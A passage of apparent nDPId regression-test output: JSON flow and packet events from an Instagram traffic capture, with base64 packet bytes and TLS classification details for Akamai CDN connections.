NPcEPZvcKEyInje21R26PDrL8bgtYDZ3N9U9y5AXbnH7jp0cPyRAfWjA4cSGxi6h4zhjIqjk5h+7xiaMe9xN6RSCAZQUZ6fmY2fdoTp8v32IaNBDsu8cfAr9L6MK8is0ChbSYf3ZmxGQXC+FeEH\/YYAM86nfFaXHSgF53711tVoXkoJQDN\/pSPqcebe7sZk6+jIr\/+yFd3LQbo6ok\/ZYVZAVO"} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":369,"source":"instagram.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":4,"flow_first_seen":1436720908572,"flow_last_seen":1436720908596,"flow_tot_l4_data_len":594,"flow_min_l4_data_len":32,"flow_max_l4_data_len":482,"flow_avg_l4_data_len":148,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.174","src_port":44558,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"igcdn-photos-h-a.akamaihd.net","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00439{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":603242,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"QPMIw47hABsv8H60CABFAAA8AABAADkGDAQuIUaIwKgAZwG77ezRfJMua3VIgKASOJCHDAAAAgQFlgQCCArOjo1YAAPuhwEDAwU="} +00427{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":603425,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0pvlAAEAGXhLAqABnLiFGiO3sAbtrdUiA0XyTL4AQAOU13wAAAQEICgAD7onOjo1Y"} +00778{"flow_id":24,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":372,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":606294,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":324,"pkt_l4_len":290,"pkt":"ABsv8H60QPMIw47hCABFAAE2pvpAAEAGXQ\/AqABnLiFGiO3sAbtrdUiA0XyTL4AYAOW8wAAAAQEICgAD7onOjo1YFgMBAP0BAAD5AwFVop8MQRa\/LNGPcOhfcnf+rMAKLSf4OFV0ZRHxry69ZyCXpJ10n72tSFpYW4ZT6kMvwtZuo9Q9LTXctqN9z+ZxLABGAAQABQAvADXAAsAEwAXADMAOwA\/AB8AJwArAEcATwBQAMwA5ADIAOAAKwAPADcAIwBIAFgATAAkAFQASAAMACAAUABEA\/wEAAGoAAAAiACAAAB1pZ2Nkbi1waG90b3MtZy1hLmFrYW1haWhkLm5ldAALAAQDAAECAAoANAAyAA4ADQAZAAsADAAYAAkACgAWABcACAAGAAcAFAAVAAQABQASABMAAQACAAMADwAQABEAIwAA"} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":372,"source":"instagram.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":4,"flow_first_seen":1436720908581,"flow_last_seen":1436720908606,"flow_tot_l4_data_len":402,"flow_min_l4_data_len":32,"flow_max_l4_data_len":290,"flow_avg_l4_data_len":100,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.136","src_port":60908,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"igcdn-photos-g-a.akamaihd.net","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00439{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":615114,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"QPMIw47hABsv8H60CABFAAA8AABAADkGE75SVRqawKgAZwG7oN0D2rVm4E5xhKASOJDLywAAAgQFlgQCCApUeSUGAAPuhgEDAwU="} +00428{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":374,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":615266,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0nwZAAEAGbb\/AqABnUlUamqDdAbvgTnGEA9q1Z4AQAOUuJQAAAQEICgAD7opUeSUG"} +00439{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":616060,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"QPMIw47hABsv8H60CABFAAA8AABAADkGE75SVRqawKgAZwG7oN5hmBQZ4jr3HqASOJCH0wAAAgQFlgQCCApUeSUGAAPuhgEDAwU="} +00427{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":376,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":616151,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0GZxAAEAG8ynAqABnUlUamqDeAbviOvceYZgUGoAQAOUuJQAAAQEICgAD7opUeSUG"} +00735{"flow_id":22,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":617006,"pkt_caplen":292,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":292,"pkt_l4_len":258,"pkt":"ABsv8H60QPMIw47hCABFAAEWnwdAAEAGbNzAqABnUlUamqDdAbvgTnGEA9q1Z4AYAOWB4wAAAQEICgAD7opUeSUGFgMBAN0BAADZAwFVop8M+5Fn2JtR0XC3DjC1k6QlRCdk+PzEKMeFZf\/I9AAARgAEAAUALwA1wALABMAFwAzADsAPwAfACcAKwBHAE8AUADMAOQAyADgACsADwA3ACMASABYAEwAJABUAEgADAAgAFAARAP8BAABqAAAAIgAgAAAdaWdjZG4tcGhvdG9zLWEtYS5ha2FtYWloZC5uZXQACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAARACMAAA=="} +00775{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":377,"source":"instagram.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":4,"flow_first_seen":1436720908576,"flow_last_seen":1436720908617,"flow_tot_l4_data_len":370,"flow_min_l4_data_len":32,"flow_max_l4_data_len":258,"flow_avg_l4_data_len":92,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.154","src_port":41181,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"igcdn-photos-a-a.akamaihd.net","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00734{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":619081,"pkt_caplen":292,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":292,"pkt_l4_len":258,"pkt":"ABsv8H60QPMIw47hCABFAAEWGZ1AAEAG8kbAqABnUlUamqDeAbviOvceYZgUGoAYAOU9twAAAQEICgAD7otUeSUGFgMBAN0BAADZAwFVop8Mx+4o5JlDiMj20RJ7KJRI3UtRsi0RYXWiY3UJSAAARgAEAAUALwA1wALABMAFwAzADsAPwAfACcAKwBHAE8AUADMAOQAyADgACsADwA3ACMASABYAEwAJABUAEgADAAgAFAARAP8BAABqAAAAIgAgAAAdaWdjZG4tcGhvdG9zLWEtYS5ha2FtYWloZC5uZXQACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAARACMAAA=="} +00775{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":378,"source":"instagram.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":4,"flow_first_seen":1436720908577,"flow_last_seen":1436720908619,"flow_tot_l4_data_len":370,"flow_min_l4_data_len":32,"flow_max_l4_data_len":258,"flow_avg_l4_data_len":92,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.154","src_port":41182,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"igcdn-photos-a-a.akamaihd.net","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00428{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":379,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":623750,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"QPMIw47hABsv8H60CABFAAA08nxAADkGGWkuIUauwKgAZwG7rg7lq\/iwshtof4AQAebuTQAAAQEICq6JCtQAA+6I"} +00427{"flow_id":24,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":380,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":630189,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"QPMIw47hABsv8H60CABFAAA0HkFAADkG7couIUaIwKgAZwG77ezRfJMva3VJgoAQAebrQwAAAQEICs6OjXMAA+6J"} +02331{"flow_id":24,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":381,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":633180,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+HkJAADkG6D8uIUaIwKgAZwG77ezRfJMva3VJgoAQAeZbzQAAAQEICs6OjXUAA+6JFgMBADwCAAA4AwFVop8MTSgOmRsGnYvnerNu9wOXoR6rDvIGOgk4ZR+S5gDAFAAAEAAAAAAACwAEAwABAgAjAAAWAwEPDAsADwgADwUABcAwggW8MIIEpKADAgECAhQDvzrvL6J8lrjKj7lZzTMsnVARODANBgkqhkiG9w0BAQUFADCBjTELMAkGA1UEBhMCTkwxEjAQBgNVBAcTCUFtc3RlcmRhbTElMCMGA1UEChMcVmVyaXpvbiBFbnRlcnByaXNlIFNvbHV0aW9uczETMBEGA1UECxMKQ3liZXJ0cnVzdDEuMCwGA1UEAxMlVmVyaXpvbiBBa2FtYWkgU3VyZVNlcnZlciBDQSBHMTQtU0hBMTAeFw0xNTA2MTkxNjUyMDdaFw0xNjA2MTkxNjUyMDVaMG0xCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJNQTESMBAGA1UEBxMJQ2FtYnJpZGdlMSEwHwYDVQQKExhBa2FtYWkgVGVjaG5vbG9naWVzIEluYy4xGjAYBgNVBAMTEWEyNDguZS5ha2FtYWkubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2aLEkOCQxkE0nfPVlfraw4G75O4JEeSlRW1zKhn5OiCejRRPF7ha04I80NXzpLA\/tzpstXo66tMUibKsHLYIbVtB8oSIpx86xKeq8BolyxN4B3v7BC9fc17tGdJU7Peb7OkU88pTRhVUiOQfvI8YxMU1ycyxtn6L7yF1rVXpUgiMR9xIoMePtrmHwmxFPiBjj1Fi5Deam4+Aue4XAh05FsmKa2n86yrVmRetbT\/bKRPBfUurOVaNWUO7f4FxfiiKmog7COy88Nhe6EsJTSdmB7kg3i+QgczeqMi7d8Ymw17IODXgorClqRQIGdTIXnMhC63ChKRXycZZACQbVGFPKwIDAQABo4ICMTCCAi0wDAYDVR0TAQH\/BAIwADBMBgNVHSAERTBDMEEGCSsGAQQBsT4BMjA0MDIGCCsGAQUFBwIBFiZodHRwczovL3NlY3VyZS5vbW5pcm9vdC5jb20vcmVwb3NpdG9yeTCBrwYIKwYBBQUHAQEEgaIwgZ8wLQYIKwYBBQUHMAGGIWh0dHA6Ly92YXNzZzE0MS5vY3NwLm9tbmlyb290LmNvbTA2BggrBgEFBQcwAoYqaHR0cHM6Ly9jYWNlcnQuYS5vbW5pcm9vdC5jb20vdmFzc2cxNDEuY3J0MDYGCCsGAQUFBzAChipodHRwczovL2NhY2VydC5hLm9tbmlyb290LmNvbS92YXNzZzE0MS5kZXIwbgYDVR0RBGcwZYIRYTI0OC5lLmFrYW1haS5uZXSCDiouYWthbWFpaGQubmV0ghYqLmFrYW1haWhkLXN0YWdpbmcubmV0gg8qLmFrYW1haXplZC5uZXSCFyouYWthbWFpemVkLXN0YWdpbmcubmV0MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwHwYDVR0jBBgwFoAU3WyAfLq1MhelhEFA8NIEZhMvqZAwPgYDVR0fBDcwNTAzoDGgL4YtaHR0cDovL3Zhc3NnMTQxLmNybC5vbW5pcm9vdC5jb20vdmFzc2cxNDEuY3JsMB0GA1UdDgQWBBQDtkqcgAxgGIgKZM2uKGKKemzAGDANBgkqhkiG9w0BAQUFAAOCAQEAHGTOw3ZNjCn8dtE8JINXjj53IQ7Wg\/FCuS4hnRSWwVNJ6BYgU0Dy5QG33wEHd0lt6lMQyQAFD7vIIR04nAd4nAqt4ZGRi5X5qOQCZOIVC6l\/E7gDrpXFRUcz+2XdMLxszJa7w7xSd3QDhqud3BZvBEm5n488th5bl+k="} +00829{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":381,"source":"instagram.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":6,"flow_first_seen":1436720908581,"flow_last_seen":1436720908633,"flow_tot_l4_data_len":1884,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":314,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.136","src_port":60908,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"igcdn-photos-g-a.akamaihd.net","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"34d6f0ad0a79e4cfdf145e640cc93f78","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA"}} +00427{"flow_id":24,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":382,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":633272,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0pvtAAEAGXhDAqABnLiFGiO3sAbtrdUmC0XyYuYAQARI13wAAAQEICgAD7ozOjo11"} +02337{"flow_id":24,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":383,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":633943,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+HkNAADkG6D4uIUaIwKgAZwG77ezRfJi5a3VJgoAQAeYJdgAAAQEICs6OjXUAA+6J8Y7pulnadtR8pnrOL17YZmIG\/8EYYPitHjHTuu4GsnUaDwVqqWF6J+umvfd8Bccsu\/3\/LR60tbSpz5FbDp7j3pT6lbaZJr7lfCcD6biW+hdrheke7dTjQZ\/bvol27eiGhcGGHSkrF9EsC88HzYpSiZPhcnnFMX3x+jTO2TeUUAtxx0nIassABSMwggUfMIIEB6ADAgECAgQHJ6RqMA0GCSqGSIb3DQEBBQUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTQwNDAyMTQzMjQ1WhcNMjEwNDAyMTQzMTM5WjCBjTELMAkGA1UEBhMCTkwxEjAQBgNVBAcTCUFtc3RlcmRhbTElMCMGA1UEChMcVmVyaXpvbiBFbnRlcnByaXNlIFNvbHV0aW9uczETMBEGA1UECxMKQ3liZXJ0cnVzdDEuMCwGA1UEAxMlVmVyaXpvbiBBa2FtYWkgU3VyZVNlcnZlciBDQSBHMTQtU0hBMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJHrLTWbDGRsyost1Tm2M7T8SQoWeNeoPTcQAnbb19tPnFZLoWm0Sy1K40P2bxYIte90RY90VhYrFaUWTH1vCpm0IOeKe5xG6a4x+xNP8JcWYeO6K6Uk2NxLlsG+06u\/ZthEJvkWlu2cNizfKTQqtT0T0rFBLVOTy7V0KAb0Y41e3rKoG9d9TyRmM+3GirCEbsYJWpYoBozkUcuhxUu730Q\/ClrDVhGL9TyV2wl71jSIUaL9S6pJFHepsSSrJU9inLn5yQctEMhwtxixVjIdP6mCUqewsmEkal+MdPYseCwgWXALds78UK1S65yiRTaai4EbTf9MdpveKez1veYIXusCAwEAAaOCAbcwggGzMBIGA1UdEwEB\/wQIMAYBAf8CAQIwTAYDVR0gBEUwQzBBBgkrBgEEAbE+ATIwNDAyBggrBgEFBQcCARYmaHR0cHM6Ly9zZWN1cmUub21uaXJvb3QuY29tL3JlcG9zaXRvcnkwgboGCCsGAQUFBwEBBIGtMIGqMDIGCCsGAQUFBzABhiZodHRwOi8vb2NzcC5vbW5pcm9vdC5jb20vYmFsdGltb3Jlcm9vdDA5BggrBgEFBQcwAoYtaHR0cHM6Ly9jYWNlcnQub21uaXJvb3QuY29tL2JhbHRpbW9yZXJvb3QuY3J0MDkGCCsGAQUFBzAChi1odHRwczovL2NhY2VydC5vbW5pcm9vdC5jb20vYmFsdGltb3Jlcm9vdC5kZXIwDgYDVR0PAQH\/BAQDAgHGMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMEIGA1UdHwQ7MDkwN6A1oDOGMWh0dHA6Ly9jZHAxLnB1YmxpYy10cnVzdC5jb20vQ1JML09tbmlyb290MjAyNS5jcmwwHQYDVR0OBBYEFN1sgHy6tTIXpYRBQPDSBGYTL6mQMA0GCSqGSIb3DQEBBQUAA4IBAQBYQSL\/TUJVrsgGh0U\/i1nTBzmasqCRgdIMwWdPT3EoWpAcaTqa9pvACPRaIolV32+vRbiiE3kYtarTwv7LcHOFJVvVzG8GkKnYr3aOdAdQgxBNHXkwltnpAh\/jIdbs0jwwLLVTyRKn8sNj7var++B7hf2E1ltXUDj00xkpPhHwZkDkn8G78GzibyQ+pms3IfUnu6cCIrn8Q9rtEw\/ngzZVkXoAHNb4GWw6D0Rzk5XKAdbmX4VHGid+BRI0nUjNlwSEOnX6dhSYXahpa9n27dHGyh8dw2KpxfAxTTNviyY="} +00428{"flow_id":24,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":634035,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0pvxAAEAGXg\/AqABnLiFGiO3sAbtrdUmC0XyeQ4AQAT813wAAAQEICgAD7ozOjo11"} +02129{"flow_id":24,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":385,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":634645,"pkt_caplen":1326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1326,"pkt_l4_len":1292,"pkt":"QPMIw47hABsv8H60CABFAAUgHkRAADkG6NsuIUaIwKgAZwG77ezRfJ5Da3VJgoAYAeZZWwAAAQEICs6OjXUAA+6JkUtADfHn0Kc7j6cynd6dqXEQ3\/RHTMctqSE0jukLbznxyQAEGTCCBBUwggN+oAMCAQICBAcnju0wDQYJKoZIhvcNAQEFBQAwdTELMAkGA1UEBhMCVVMxGDAWBgNVBAoTD0dURSBDb3Jwb3JhdGlvbjEnMCUGA1UECxMeR1RFIEN5YmVyVHJ1c3QgU29sdXRpb25zLCBJbmMuMSMwIQYDVQQDExpHVEUgQ3liZXJUcnVzdCBHbG9iYWwgUm9vdDAeFw0xMjA0MTgxNjM2MThaFw0xODA4MTMxNjM1MTdaMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCjBLsiq5g9V+gmcpq1edQp4uHolYCxsONbjispmmTfoV3tsAkFbdsoLs5iomL+tIjaEus46yGdwEErAVJ7iHfTHI\/HurmItWoJ53PoEUCn0czKYo0t5Y8LplDSqFDDKOr1qyWHipqWHKlnuD8M1ff5UhMvwhvVcHDwj8ASygbLmuHZyjN6d9b47LnxaERCSBPSwMKkrl5g\/ramBfy03QdZAtRZGJhj9aVj4JAMfV2yBnrzherr1AOuXoQ+X\/8V7Wm8+Tk2cnXPd1JN88mQLLk95ckjUz8fJJghXAeZKb3GOuznboY6a5d0YzO9aBgx8HiNdr\/8no5dKoanTZDcJxo5AgMBAAGjggFHMIIBQzASBgNVHRMBAf8ECDAGAQH\/AgEDMEoGA1UdIARDMEEwPwYEVR0gADA3MDUGCCsGAQUFBwIBFilodHRwOi8vY3liZXJ0cnVzdC5vbW5pcm9vdC5jb20vcmVwb3NpdG9yeTAOBgNVHQ8BAf8EBAMCAQYwgYkGA1UdIwSBgTB\/oXmkdzB1MQswCQYDVQQGEwJVUzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3liZXJUcnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0IEdsb2JhbCBSb290ggIBpTBFBgNVHR8EPjA8MDqgOKA2hjRodHRwOi8vd3d3LnB1YmxpYy10cnVzdC5jb20vY2dpLWJpbi9DUkwvMjAxOC9jZHAuY3JsMA0GCSqGSIb3DQEBBQUAA4GBAJMd\/ouuRuzLqQ+r5e\/KsmgWaNiP+hOpr7PLLedLbo5pKsIrEAqN9q5ztrn7FP1fbbhQtsSK1kB+18PLc9zJXVuvsEG1N+vq3CCRxDRq9KHzlp03hpfhcaTdffpEhJSu1wkEInYPZFE1qSQP+QvbMtrC\/sG5Klx6JxPKsUg6cdBDFgMBAUsMAAFHAwAXQQRJs9Ttlh\/4P8ug1T6ydcys5Ye5naBIakCRbLJHiB1syoO5PP5LCRnbvokcUGGdgxa19O9bm7kmeC9R7Csr13PaAQCaYHLiJaL2lqz\/Qa7u\/DN\/oHzRFTarjtpGqMwFOTs0ydKwjb0UWCpDlpczcnhgoapSdFCe2el5Jl4GXsEcSqMbdG6F7BXWBV8\/BngmQ97YsblqRG3DKOSBh0FKe2WD"} +01227{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":385,"source":"instagram.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":10,"flow_first_seen":1436720908581,"flow_last_seen":1436720908634,"flow_tot_l4_data_len":4690,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":469,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"46.33.70.136","src_port":60908,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"igcdn-photos-g-a.akamaihd.net","server_names":"a248.e.akamai.net,*.akamaihd.net,*.akamaihd-staging.net,*.akamaized.net,*.akamaized-staging.net","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"34d6f0ad0a79e4cfdf145e640cc93f78","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=NL, L=Amsterdam, O=Verizon Enterprise Solutions, OU=Cybertrust, CN=Verizon Akamai SureServer CA G14-SHA1","issuerDN":"C=US, ST=MA, L=Cambridge, O=Akamai Technologies Inc., CN=a248.e.akamai.net","fingerprint":"EA:5A:20:95:78:D7:09:60:5C:A1:E4:CA:A5:2B:BD:C1:78:FB:23:23"}} +00428{"flow_id":24,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":634706,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0pv1AAEAGXg7AqABnLiFGiO3sAbtrdUmC0XyjL4AQAWw13wAAAQEICgAD7ozOjo11"} +00660{"flow_id":24,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":635927,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"QPMIw47hABsv8H60CABFAADfHkVAADkG7RsuIUaIwKgAZwG77ezRfKMva3VJgoAYAeZpsQAAAQEICs6OjXUAA+6Jej2sNRDNQIdNG6VR7td2+0Sd2ApiuLVkgpTcP7yA60mXJoaj7HjfK98r1oit6MVz\/f2Zy5aXFecMMdHZG9mN+bU0+XJuNGn3ufs984iKn55U37SjXhAuRMQUiLliS1sQ+macYpc1gr17pikpO3Bh0w0lB27Q89c+Fu5zYrx3WC7Dfxl29aXxHhoonj2NBKCv2blajkD5FA2z0IluPib7xyvwFgMBAAQOAAAA"} +00428{"flow_id":24,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":388,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":636018,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0pv5AAEAGXg3AqABnLiFGiO3sAbtrdUmC0Xyj2oAQAZk13wAAAQEICgAD7ozOjo11"} 